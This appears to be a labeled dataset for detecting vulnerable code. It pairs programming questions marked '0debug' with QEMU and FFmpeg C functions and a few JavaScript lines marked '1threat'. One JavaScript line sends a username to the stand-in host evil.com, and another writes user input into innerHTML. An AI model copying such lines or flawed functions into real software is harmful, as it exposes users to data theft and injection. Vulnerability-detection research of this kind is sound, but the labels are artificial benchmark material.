problem
stringlengths
26
131k
labels
class label
2 classes
static int aio_write_f(int argc, char **argv) { int nr_iov, c; int pattern = 0xcd; struct aio_ctx *ctx = calloc(1, sizeof(struct aio_ctx)); while ((c = getopt(argc, argv, "CqP:")) != EOF) { switch (c) { case 'C': ctx->Cflag = 1; break; case 'q'...
1threat
Show Exact Value Using Formula Field in Crystal Repory : I am trying to show value using formula field in crystal report. Such as "7209.9462" which datatype is Decimal(18,4). But now I want show value only with three digit after decimal .... like "7209.946" with out rounding it. So how can I achieve this ?
0debug
if we change the date in sql where clause it is not giving correct output, why? : select * from emp where hiredate > '15-11-81' this query is executing and giving correct output , but this select * from emp where hiredate > '01-01-11' query is not giving correct output .Y?
0debug
static int mmu_translate_region(CPUS390XState *env, target_ulong vaddr, uint64_t asc, uint64_t entry, int level, target_ulong *raddr, int *flags, int rw, bool exc) { CPUState *cs = CPU(s390_env_get_cpu(env)); u...
1threat
Using self and parameters in a Python Script : <p>I'd like to use self (for global variables) and the parameters from the command-line in my Python Script but can't really get them to work.</p> <pre><code>def otherFunction(self) print self.tecE def main(argv,self): self.tecE = 'test' otherFunction() if _...
0debug
static struct omap_mpu_timer_s *omap_mpu_timer_init(MemoryRegion *system_memory, hwaddr base, qemu_irq irq, omap_clk clk) { struct omap_mpu_timer_s *s = (struct omap_mpu_timer_s *) g_malloc0(sizeof(struct omap_mpu_timer_s)); s->irq = irq; s->clk = clk; ...
1threat
Find Numbers with eight digits starting with specific number ranges : <p>I need a regex to find all eight digit Numbers that starts wit any number in the following ranges: 20-31 40-42 50-53 60-61 71 81 91-93</p> <p>How is that done?</p> <p>/Therese</p>
0debug
Separate lines in a text file : <p>I have a .txt file. Containing INSERT Scripts. </p> <pre><code>INSERT INTO TABLE (COL1, COL2, COL3) VALUES (1, 2, 3) INSERT INTO TABLE (COL1, COL2, COL3) VALUES (1, 2, 3) INSERT INTO TABLE (COL1, COL2, COL3) VALUES (1, 2, 3) INSERT INTO TABLE (COL1, COL2, COL3) VALUES (1, 2, 3) INSER...
0debug
Why does my program repeat forever instead of giving the maximum integer value? : <p>I am currently learning C, and I made a program that I thought would give me the maximum integer value, but it just loops forever. I can't find an answer as to why it won't end.</p> <pre><code>#include &lt;stdio.h&gt; int main() { ...
0debug
How to truncate a decimal to 2 places? : <p>I have a value 100.0000. I need truncate it to only two decimal places like 100.00 I need to do it when it have 00's in 3rd and 4 places. How to do it??</p>
0debug
Difference between scope and authority in UAA : <p>In UAA There are two Concepts, Authority and Scope.</p> <p>These concepts seems to overlap. I would like to know exact difference and purpose</p> <p>For example , oauth.login</p>
0debug
In C++, why check negative number with "&1" : just ran into this question when I tried to refactor my code for a LeetCode problem. It's basically checking the sum of two integers is negative or not: if(A+B<0) This is how I would do it, where **A** is a positive integer no exceeding 1000 and **B** can be any 32-...
0debug
void ff_h264_v_lpf_chroma_inter_msa(uint8_t *data, int img_width, int alpha, int beta, int8_t *tc) { uint8_t bs0 = 1; uint8_t bs1 = 1; uint8_t bs2 = 1; uint8_t bs3 = 1; if (tc[0] < 0) bs0 = 0; if (tc[1] < 0) bs1 = 0; if (tc[2] ...
1threat
static void pcnet_transmit(PCNetState *s) { target_phys_addr_t xmit_cxda = 0; int count = CSR_XMTRL(s)-1; s->xmit_pos = -1; if (!CSR_TXON(s)) { s->csr[0] &= ~0x0008; return; } s->tx_busy = 1; txagain: if (pcnet_tdte_poll(s)) { struct pcnet_TMD tm...
1threat
Vue - check if you are on the last prop of a v-for loop : <p>If I have the following data property:</p> <pre><code>person: {name: 'Joe', age: 35, department: 'IT'} </code></pre> <p>And wanted to loop through and output it as follows:</p> <pre><code>name: Joe, age: 35, department: IT </code></pre> <p>So far I have:<...
0debug
How should I install Bootstrap? : <p>I learned two ways: Putting some links directly into your html file and installing a Bootstrap app using a terminal. What’s the difference between these two ways and witch is better?</p>
0debug
static void qvirtio_pci_set_status(QVirtioDevice *d, uint8_t status) { QVirtioPCIDevice *dev = (QVirtioPCIDevice *)d; qpci_io_writeb(dev->pdev, dev->addr + VIRTIO_PCI_STATUS, status); }
1threat
Programming language R: Create a function. This Function converts one matrix to another matrix such that every odd number are 3 times of that number : <p>[1 2] -->[3 2]<br> [3 5] -->[9 15]</p> <p>Please help me solve it. The above is an example(both are 2*2 matrices)</p>
0debug
No resource found that matches the given name: attr 'android:windowElevation : i instal new windows and then instal eclipse but when i create a new project its get error and i dont know what is it workspace\appcompat_v7\res\values-v21\themes_base.xml:129: error: Error: No resource found that matches the ...
0debug
How to open an external webpage on af:commandButton click in Oracle ADF? : How to open an external webpage on click of afcommandButton . I need , on click of a button, a new tab will be opened with a pre-defined webpage address from database.
0debug
Phyton 3.5 "for loop" "enumerate()” Select Word from List : Hi I'm new here I've just started learning python Individual words in wordList will be referred to as “word” as a variable. who would I set this up this for a python english grammar gen program by the way. also I wanna try to Enter a loop that repea...
0debug
int vfio_spapr_create_window(VFIOContainer *container, MemoryRegionSection *section, hwaddr *pgsize) { int ret; IOMMUMemoryRegion *iommu_mr = IOMMU_MEMORY_REGION(section->mr); unsigned pagesize = memory_region_iommu_get_min_page_size(iommu_mr);...
1threat
Conflicting type in C but no clear difference between lines : <p>I am trying to run a model written by someone else. When running the make file, I get the following error regarding one of the fonctions: </p> <pre><code>ground_layer.c:4391:6: error: conflicting types for 'func_' real func_(R_fp funk, real *x) ^ g...
0debug
How to clarify whether the user's input was a binary number? : <p>I was required to make a code that accepted a binary number (1's and 0's) and then counted how many ones were in that binary number. My code fulfills this purpose. </p> <p>The second part of the exercise is this: if the user enters a number that is NOT ...
0debug
Gson custom deserializer just on field : <p>I use Volley with Gson. I have a person object, I'd like to set gender, not a string, but an enum. So I'd like to write a custom deserializer for just this field, and let Gson to do the rest. How can I do that?</p>
0debug
static int dmg_open(BlockDriverState *bs, QDict *options, int flags, Error **errp) { BDRVDMGState *s = bs->opaque; uint64_t info_begin, info_end, last_in_offset, last_out_offset; uint32_t count, tmp; uint32_t max_compressed_size = 1, max_sectors_per_chunk = 1, i; int64_t offset; ...
1threat
get all occurence of substring between two chracters in java : <p>I have String Path like this </p> <pre><code> "/Math/Math1/Algerbra/node" </code></pre> <p>how I can get all the occurence of substring between "/" and "/" to get (Math-Math1-Algerbra)</p> <p>Thanks in advance</p>
0debug
Android Studio test between two emulators : <p>Okay so, I have two emulators running. I want to write a test where one device calls the other device using VOIP. My goal is to automate VOIP testing.</p> <p>A <code>successCount</code> variable is defined inside the test class to validate whether the test was successful ...
0debug
passing a null password during exection of query in linux : how to pass a password during the execution of a query in Linux if the password is null;`MySQL -u root -p` this asks the entry of the password every time while execution of the query
0debug
Android - set all lint warnings as errors except for certain ones : <p>I am trying to make my continuous integration fail the build when new lint warnings that aren't in the <code>lint-baseline.xml</code> file are introduced. I want to have all lint warnings treated as errors (so the build is aborted), but I'd like a w...
0debug
static int qemu_rbd_snap_remove(BlockDriverState *bs, const char *snapshot_name) { BDRVRBDState *s = bs->opaque; int r; r = rbd_snap_remove(s->image, snapshot_name); return r; }
1threat
static void vnc_dpy_update(DisplayChangeListener *dcl, DisplayState *ds, int x, int y, int w, int h) { int i; VncDisplay *vd = ds->opaque; struct VncSurface *s = &vd->guest; int width = ds_get_width(ds); int height = ds_get_height(ds); ...
1threat
Automating file Download from HTTPS server using CMD : So we have a client who has files placed on an HTTPS server. These are files are updated at least 2 times a day and will be a hectic process to manually download these files so our client wants us to automate this process. We had already automated files download fr...
0debug
segmantaion fault (core dumped) programming c : I was solving hackerrank problem given here : -- https://www.hackerrank.com/challenges/bigger-is-greater Program statement is as follow : " Given a word , rearrange the letters of to construct another word in such a way that is lexicographically greater than origina...
0debug
static void xen_pt_region_update(XenPCIPassthroughState *s, MemoryRegionSection *sec, bool adding) { PCIDevice *d = &s->dev; MemoryRegion *mr = sec->mr; int bar = -1; int rc; int op = adding ? DPCI_ADD_MAPPING : DPCI_REMOVE_MAPPING; struct CheckBarArgs ar...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
No Idea what the c# code for this is... can anyone help me with this? : Hey guys I got some homework a couple of weeks ago from school and most of the class didn't know how to do it... The teacher said he would go over it but he never ended up doing so even though I asked him a couple of times. I guess the class just m...
0debug
IDE for ironpython on windows anno 2017 : <br> I've developed stuff in Python in the past few years. Mostly I have used regular Python and tried Jython too but missed some important libraries. Eclipse has been my favourite IDE (version 4.3) all along with plugin PyDev (version 3.5).<br> I now have reason to try IronP...
0debug
static double bessel(double x){ double lastv=0; double t, v; int i; static const double inv[100]={ 1.0/( 1* 1), 1.0/( 2* 2), 1.0/( 3* 3), 1.0/( 4* 4), 1.0/( 5* 5), 1.0/( 6* 6), 1.0/( 7* 7), 1.0/( 8* 8), 1.0/( 9* 9), 1.0/(10*10), 1.0/(11*11), 1.0/(12*12), 1.0/(13*13), 1.0/(14*14), 1.0/(15*15), 1....
1threat
What is the 'safe region' for iPhone X (in pixels) that factors the top notch and bottom bar? : <p>I have read the <a href="https://developer.apple.com/ios/human-interface-guidelines/overview/iphone-x/" rel="noreferrer">Human Interface Guidelines for iPhone X</a> and it doesn't specifically state the 'safe region' (are...
0debug
How to remove 'Warning: Async Storage has been extracted from react-native core...'? : <p>I've already tried what's recommended in this screenshot</p> <p><a href="https://postimg.cc/3WvPFHc5" rel="noreferrer"><img src="https://i.postimg.cc/xjxnYfGC/Screenshot-20190323-081232.png" alt="Screenshot-20190323-081232.png"><...
0debug
How to execute a SQL script in DBeaver? : <p>I have a number of <code>.sql</code> files that I wish to execute through DBeaver. Traditional database development programmes allow the user to edit and run SQL scripts (totally or partially) in the same window, but this is not obvious with DBeaver.</p> <p>When I open a <c...
0debug
Combining must_not in ElasticSearch Query : <p>I'm currently struggling with an ElastSearch query which currently looks the following:</p> <pre><code>... "query": { "bool": { "must_not": [ { "term": { "bool-facet.criteria1": { "value":...
0debug
How to add no of Days to given Date? : #Problem: Given a Date.Add specified number of days to endDate. Below is the **addDate** function that I need to define. public static Date addDate(Date endDate,int noOFDays){ } >Can anyone guide me which method should I use to add the given end...
0debug
Lottie Android: add color overlay to animation : <p>I'm using <a href="https://github.com/airbnb/lottie-android" rel="noreferrer">Lottie for Android</a> to add some animations in an app. In this app the primary and accent color can be chosen via the settings. I'm using an animation with a transparent background. To mak...
0debug
remove part of name of multiple files in linux : I have several fastq.gz files in a directory. I want to delete parts of each file name. Here are the file names RES_1448_001_S289_L001_R1_001.fastq.gz RES_1448_001_S289_L001_R2_001.fastq.gz RES_1448_012_S300_L001_R1_001.fastq.gz RES_1448_012_S300_...
0debug
void hmp_chardev_add(Monitor *mon, const QDict *qdict) { const char *args = qdict_get_str(qdict, "args"); Error *err = NULL; QemuOpts *opts; opts = qemu_opts_parse_noisily(qemu_find_opts("chardev"), args, true); if (opts == NULL) { error_setg(&err, "Parsing chardev args failed"); ...
1threat
how to always execute AsyncTask in android? : <p>my <code>AsyncTask</code> is detect devices connected to my device</p> <p>recently, asynctask execute only <code>onCreate</code>.</p> <p>so, when app started, only 1 execute.</p> <p>I want always execute.</p> <p>how to always execute Asynctask in android?</p> <p>Is ...
0debug
Python case sensetive removal : I'm making a small bot for twitch . tv and I have a small issue that I don't know how to fix it. <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> user = getUser(line) message = getMessage(line) if "Pls ...
0debug
creating a wcf program to fetch data from Oracle database (12c) and will be hosted in IIS : <p>I am using System.Data.OracleClient which has been deprecated. Any suggestion will be appreciated on how and what should I do to replace System.Data.OracleClient. I have tried to Add Oracle.DataAccess by going to solution ex...
0debug
static int vhost_virtqueue_start(struct vhost_dev *dev, struct VirtIODevice *vdev, struct vhost_virtqueue *vq, unsigned idx) { BusState *qbus = BUS(qdev_get_parent_bus(DEVICE(vdev))); VirtioBusState *vbus = VIR...
1threat
static int cin_read_frame_header(CinDemuxContext *cin, AVIOContext *pb) { CinFrameHeader *hdr = &cin->frame_header; hdr->video_frame_type = avio_r8(pb); hdr->audio_frame_type = avio_r8(pb); hdr->pal_colors_count = avio_rl16(pb); hdr->video_frame_size = avio_rl32(pb); hdr->audio_frame_siz...
1threat
Kotlin, something wrong with class references? : I'm porting [bullet][1] to [kotlin][2] and I wrote all the necessary stuff to run the HelloWorld sample. I'm in debugging phase right now and I'm having problems with objects references. At the very begin, I do enter `collideTTpersistentStack` a first time: ...
0debug
Ignoring Certain String Characters : Let's say I write some code to print out "Hello World." Could I use some sort of character to ignore the r in hello world so that the output is "Hello Wold?" I have a value that I am using. I have the following characters: &, \, and *. I think one of these characters is c...
0debug
static void usb_uas_unrealize(USBDevice *dev, Error **errp) { UASDevice *uas = USB_UAS(dev); qemu_bh_delete(uas->status_bh); }
1threat
Floating navigation anchor points without reversing their order? : <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.topNav { overflow: hidden; background-color: #5e9da1; ...
0debug
Is it possible to match the # part of a route in React Router 4 : <p>In my app, I'd like to match both the path and the hash to different components. For example:</p> <pre><code>/pageA#modalB </code></pre> <p>Would show PageA as the main page, with modalB over the top. I've tried the following, with many variations ...
0debug
Python adding unwanted double quotes to a dictionary : <p>After passing a string into a function, Python is generating additional double quotes. For example:</p> <pre><code>def main(): ... foo("string1", "'string2','string3'") ... def foo(var1, var2): dictionary = { 'a' : var1, 'b' : [var2] ...
0debug
how to block user ip if user tried to access website scouce code : <p>is it possible to block IP address if any user tried to access your WordPress website source code? </p> <p>and i found this Wordpress plugin which does some sort of a activity like that.</p> <p><a href="https://codecanyon.net/item/hide-my-wp-amazin...
0debug
Azure SQL Server database with visual studio subscription : <p>I wanted to learn Azure SQL Server database and I created pay as you go account with Microsoft but I ended up with subscription to Visual studio premium edition with MSDN also My question is do I need to have visual studio premium subscription? in order to ...
0debug
static int decode_header_trees(SmackVContext *smk) { GetBitContext gb; int mmap_size, mclr_size, full_size, type_size, ret; mmap_size = AV_RL32(smk->avctx->extradata); mclr_size = AV_RL32(smk->avctx->extradata + 4); full_size = AV_RL32(smk->avctx->extradata + 8); type_size = AV_RL32(smk-...
1threat
Pointers in C#, when are they used? : I am trying to implement a simple counter for a game. I want to be able to increment the fire, water and earth attributes using a method which takes a string and an int as arguments. I am however not sure whether the following would work. I am not sure the ints within the elemen...
0debug
static int do_co_pwrite_zeroes(BlockBackend *blk, int64_t offset, int64_t count, int flags, int64_t *total) { Coroutine *co; CoWriteZeroes data = { .blk = blk, .offset = offset, .count = count, .total = total, .flags = flags, ...
1threat
unable to match regex pattern in python : <p>I am trying to match a regex from an email. If the e-mail says "need update on SRT1000" the regex needs to match. I have my code as below, but it is not working. Can someone look at this and let me know what is wrong here?</p> <pre><code>def status_update_regex(email): ...
0debug
Read a file and put specific values to an array : <p>I am a newbie to bash scripting. I have a file containing some values. I want to put all the values of a specific key into an array in bash. The file looks like this.</p> <pre><code>file.properties name=val1 name=val2 name=val3 age=val4 </code></pre> <p>I want to r...
0debug
Soundpool load sound A component of name 'OMX.qcom.audio.decoder.aac' already exists, ignoring this one : <p>I have implemented load all sounds in Application onCreate method in background. But when i load sound it gives error like this: </p> <blockquote> <p>E/OMXMaster: A component of name 'OMX.qcom.audio.decoder.a...
0debug
static av_cold int atrac1_decode_end(AVCodecContext * avctx) { AT1Ctx *q = avctx->priv_data; av_freep(&q->out_samples[0]); ff_mdct_end(&q->mdct_ctx[0]); ff_mdct_end(&q->mdct_ctx[1]); ff_mdct_end(&q->mdct_ctx[2]); return 0; }
1threat
struct omap_gp_timer_s *omap_gp_timer_init(struct omap_target_agent_s *ta, qemu_irq irq, omap_clk fclk, omap_clk iclk) { struct omap_gp_timer_s *s = (struct omap_gp_timer_s *) g_malloc0(sizeof(struct omap_gp_timer_s)); s->ta = ta; s->irq = irq; s->clk = fclk; s-...
1threat
how to make 2 arraylist on an adapter, adapted to one API? : <p>how to make 2 arraylist on an adapter, adapted to one API. I have given a list of cases here metadataList; but it doesn't work because the activity.java part must have a Metadata List implementation. How to retrieve data with different getter setters (2 g...
0debug
static inline void RENAME(nv12ToUV)(uint8_t *dstU, uint8_t *dstV, const uint8_t *src1, const uint8_t *src2, int width, uint32_t *unused) { RENAME(nvXXtoUV)(dstU, dstV, src1, width); }
1threat
How do magrittr %>% pipes work exactly? : <p>So for the life of me I can’t understand this extremely simple concept. </p> <p><a href="https://i.stack.imgur.com/a10jC.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/a10jC.jpg" alt="take this code for example in this image. "></a></p> <p>This code loo...
0debug
Java FilePath folder find : <p>Is there any solution for my problem? I want work with files, which i add to my program by every run, for example folder1, folder2 and this folders contains .txt files. How can i make it with Java language?</p> <p>Next problem is, how to set Uni for my program, when some files are named ...
0debug
How to Move the files from one directory to another directory? directory file name should append with current date (yyyy-mm-dd) : import shutil import os source = '/path/to/source_folder' dest1 = '/path/to/dest_folder' files = os.listdir(source) for f in files: shutil.move(source+f, dest1)
0debug
What's the difference between * and html in css selector : <p>In css, what's the difference of two selector: * and html?</p> <pre><code>*{ } </code></pre> <p>and</p> <pre><code>html{ } </code></pre> <p>Do these two work differently?</p>
0debug
How to make changes in the ListView fetching data directly from Server : I have made a live score app. I want to make changes after every match, update matches played, won lost etc. How to make this changes Can someone pls help me.
0debug
static int coroutine_fn raw_co_writev(BlockDriverState *bs, int64_t sector_num, int nb_sectors, QEMUIOVector *qiov) { BLKDBG_EVENT(bs->file, BLKDBG_WRITE_AIO); return bdrv_co_writev(bs->file, sector_num, nb_sectors, qiov); }
1threat
Django REST Framework: using TokenAuthentication with browsable API : <p>I'm following the DRF docs to setup TokenAuthentication, and can't get it working with the browsable API. I believe I've added the proper lines in <code>settings.py</code>:</p> <pre><code>REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( ...
0debug
static int xen_pt_byte_reg_read(XenPCIPassthroughState *s, XenPTReg *cfg_entry, uint8_t *value, uint8_t valid_mask) { XenPTRegInfo *reg = cfg_entry->reg; uint8_t valid_emu_mask = 0; valid_emu_mask = reg->emu_mask & valid_mask; *value = XEN_PT_MERGE_VALUE(*va...
1threat
c++ std::string '==' operator and Compare method is return 1 to equal string : [the data of str1 and str2][1] [1]: http://i.stack.imgur.com/TeVzJ.png motion->bone_frames[0].name == model->bones[0].bone_name// return 0 . it should be 1 motion->bone_frames[0].name.Compare(model->bones[0].bone_name)// return ...
0debug
static void virtio_net_device_realize(DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIONet *n = VIRTIO_NET(dev); NetClientState *nc; int i; virtio_init(vdev, "virtio-net", VIRTIO_ID_NET, n->config_size); n->max_queues = MAX(n->nic_conf.queues, 1); ...
1threat
open file dialog return multiple file names (Visual Basic 2010 C#) : <p>How to make a OpenFileDialog1 object return multiple paths of the selected files to a multi-line textbox?</p>
0debug
What is this syntax in java? : <p>I find a syntax <strong>String[]::new</strong> in <a href="https://stackoverflow.com/a/24112752">this</a> answer. but I search this in google can't find useful information.</p>
0debug
Can array lengths be inferred in Rust? : <p>I can do this:</p> <pre><code>let a: [f32; 3] = [0.0, 1.0, 2.0]; </code></pre> <p>But why doesn't this work?</p> <pre><code>let a: [f32; _] = [0.0, 1.0, 2.0]; </code></pre> <p>It seems to me that the length is redundant and trivial to infer. Is there a way to avoid having...
0debug
static int xen_pt_msixctrl_reg_write(XenPCIPassthroughState *s, XenPTReg *cfg_entry, uint16_t *val, uint16_t dev_value, uint16_t valid_mask) { XenPTRegInfo *reg = cfg_entry->reg; uint16_t writable_mask = 0; uint16_t throughable_...
1threat
static uint64_t omap_id_read(void *opaque, hwaddr addr, unsigned size) { struct omap_mpu_state_s *s = (struct omap_mpu_state_s *) opaque; if (size != 4) { return omap_badwidth_read32(opaque, addr); } switch (addr) { case 0xfffe1800: return 0...
1threat
Where i am wrong on code web service php : <p>Where the code is wrong its giving me an error on mysql_assoc;</p> <pre><code>if($_SERVER['REQUEST_METHOD'] == "POST"){ $sql=mysql_query("SELECT * FROM users"); $query = mysql_query($sql); $json = array(); // create empty array $i = 0; // start a counter while($result=mys...
0debug
static void xtensa_cpu_class_init(ObjectClass *oc, void *data) { DeviceClass *dc = DEVICE_CLASS(oc); CPUClass *cc = CPU_CLASS(oc); XtensaCPUClass *xcc = XTENSA_CPU_CLASS(cc); xcc->parent_realize = dc->realize; dc->realize = xtensa_cpu_realizefn; xcc->parent_reset = cc->reset; cc-...
1threat
static void do_mchk_interrupt(CPUS390XState *env) { S390CPU *cpu = s390_env_get_cpu(env); uint64_t mask, addr; LowCore *lowcore; MchkQueue *q; int i; if (!(env->psw.mask & PSW_MASK_MCHECK)) { cpu_abort(CPU(cpu), "Machine check w/o mchk mask\n"); } if (env->mchk_inde...
1threat
static int usb_host_handle_data(USBDevice *dev, USBPacket *p) { USBHostDevice *s = DO_UPCAST(USBHostDevice, dev, dev); struct usbdevfs_urb *urb; AsyncURB *aurb; int ret, rem, prem, v; uint8_t *pbuf; uint8_t ep; trace_usb_host_req_data(s->bus_num, s->addr, ...
1threat
I would like to use a UNIX command-line program (Berkeleys SPICE) in an iOS app. What is the process to compile it into a usable library? : <p>I am trying to use <a href="https://bwrcs.eecs.berkeley.edu/Classes/IcBook/SPICE/" rel="noreferrer">Berkeley's SPICE</a> tool in an iOS app, but am having trouble compiling it f...
0debug
Why does the initial p close automatically? : <p><code>p1</code> appears to be an empty <code>p</code> and the rest is displayed separately when I inspect in Google Chrome. Why would the initial automatically close? I've checked whether the tags are closed right.</p> <p><div class="snippet" data-lang="js" data-hide="f...
0debug
Request.Files in ASP.NET CORE : <p>I am trying to upload files using aspnet core using ajax request . In previous versions of .net i used to handle this using </p> <pre><code> foreach (string fileName in Request.Files) { HttpPostedFileBase file = Request.Files[fileName]; //...
0debug
how can I detect an cell content color? : <p>I have an excel cell. In the cell, I have few paragraphs, each paragraph using different font color. How can I get the font color value for each paragraph using VBA?</p>
0debug
Value of a for loop in Ruby : I understand that, in Ruby, a for loop is an expression and therefore has a value which can be assigned to a variable. For example, `x = for i in 0..3 do end` sets `x` to `0..3` - the range over which the loop iterates. Is the value of a for loop always the range as above, or can it dif...
0debug
What is "^" operation in Java Program? : <pre><code> for(int i = 0; i &lt; n; i++) { num += digits[i]*(10^(n-1-i)); System.out.println(10^(n-1-i)); } </code></pre> <p>My purpose is to change a array representation of a number into Integer representation. For example, [9,9] is 9*(10^1) + 9*(10^0)...
0debug
add custom layout in menu item android : I want to add custom layout to the menuitem in menu.xml file. LinearLayout actionItemLayout = (LinearLayout) menu.findItem(R.id.itemMenu).getActionView(); TextView txtNumber = (TextView)actionItemLayout.findViewById(R.id.txt_vehicleNumber); TextView txtName...
0debug
document.getElementById('input').innerHTML = user_input;
1threat
void do_info_roms(Monitor *mon) { Rom *rom; QTAILQ_FOREACH(rom, &roms, next) { if (!rom->fw_file) { monitor_printf(mon, "addr=" TARGET_FMT_plx " size=0x%06zx mem=%s name=\"%s\" \n", rom->addr, rom->romsize, ...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
QemuOpts *qemu_chr_parse_compat(const char *label, const char *filename) { char host[65], port[33], width[8], height[8]; int pos; const char *p; QemuOpts *opts; Error *local_err = NULL; opts = qemu_opts_create(qemu_find_opts("chardev"), label, 1, &local_err); if (local_err) { ...
1threat